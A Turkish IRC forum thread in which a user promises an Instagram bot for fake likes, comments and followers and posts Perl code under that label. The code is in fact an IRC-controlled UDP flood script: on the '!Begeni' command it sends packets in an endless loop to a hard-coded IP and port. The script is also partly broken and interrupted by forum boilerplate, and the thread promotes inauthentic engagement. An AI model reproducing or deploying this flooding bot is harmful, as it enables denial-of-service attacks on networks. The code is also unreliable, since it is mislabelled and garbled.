Çevrimdışı

merhaba arkadaslar en yakin zamanda sizlere instaBot gedirecem insallah
suan da irc.dalnet.com #instagram kanalinda calisiyoruz kanalda !begeni instagram emre 100 begenu atacak !yourum emre yazinca degisik innstagram nickleri senin fotona 100 adet yorum yazacak !takipci emre 600 yazinca takipci gelecek az kaldi,,, arkadasla calsiiyorz cok eglecenguz bu arada bot perl bot perl dili ile yazilmistir.. arkadas kendisi amerikalidir ugrasiyorz
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
en yakin zamanda sizlere C+
print("sizleri seviyoruz")

 

Çevrimdışı

Fantastik bir düşünce, kolay gelsin umarım başarılı olur.

__________________

 

Çevrimdışı

Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

__________________
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

 

Çevrimdışı

arkadaslar fikir benimdi arkadaslda perl dili ile codlama yapiyor 1 hafta oldu insallah 2 hafta sonra link atarim cmd den perl instaBot yazmaniz yeterli olacak api de lazim bilgisayarinizde gerekli olanlar mysql ve windows icin Composer indirmeniz lazim cmd den anlatacam detaylari bot olsunda


--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:27 -->-> Daha önceki mesaj 16:12 --

# BOT for Instagram Begeni
# This Bot is based on this scripts
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# Object interface to socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;

# Thread used to run the subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;

#IRC parameters
my $channel = '#instagram';
my $nick = 'instaBot';
my $user = 'instagram Begeni Bot BY UFUK';

# instagram Begeni subroutine (not a real function per se)

sub begeni
{
print "=> instagram Begeni Started\n";

# Local variables (to the enclosing block)
my ($ip, $port, $target_socket, $proto, $lower_bound, $rand, $size);

# Target host, port and channel
$ip = '192.168.1.1';
$port = 80;

# Converts the IP representation (from textual to packed binary)
$iaddr = inet_aton("$ip");

# Opens a socket
#$proto = getprotobyname("udp");
socket(target_socket, PF_INET, SOCK_DGRAM, 17);
#socket($target_socket, PF_INET, SOCK_DGRAM, $proto); #|| die "socket: $!";

# Begeni
while (1)
{
if ($interrupt) { print "=> Begeni Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
#select(undef, undef, undef, 0.01);
#$lower_bound = 4;
#$rand = $lower_bound + int(rand(16));
$size = $rand x $rand x $rand;
send(target_socket, 0, $size, sockaddr_in($port, $iaddr));
}
}

# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.dalnet.com',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";

# Join the IRC
print $con "USER $user \r\n";
print $con "NICK $nick r\n";
print $con "JOIN $channel\r\n";

# IRC connection loop
while (my $answer = <$con>)
{
# Show server reply
print $answer;

# Answer to ping requests (to keep connection alive)
if ($answer =~ m/^PING (.*?)$/gi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}

# Starts the Begeni
if ($answer =~ /!Begeni/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :instagram Begeni is running...\r\n";
}
else
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni started!\r\n";
$interrupt = 0;
$thr = threads->create('Begeni sytsem start');
$thr->detach();
}
}

# Finishes the begeni
if ($answer =~ /!durdur/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni durduldu!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}

--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:37 -->-> Daha önceki mesaj 16:27 --

[16:36] <ufuk> !durdur
[16:36] <instaBot> Nothing to stop.

 

mrb tupac acaba bot oldu mu merak ediyorum kolay gelsin

 

Çevrimdışı

kolay gelsin

__________________
Hayat fani....

 

Çevrimdışı

Phph bot noldu Bro...

__________________
Zamana bıraktıklarımızı zamanla bıraktık.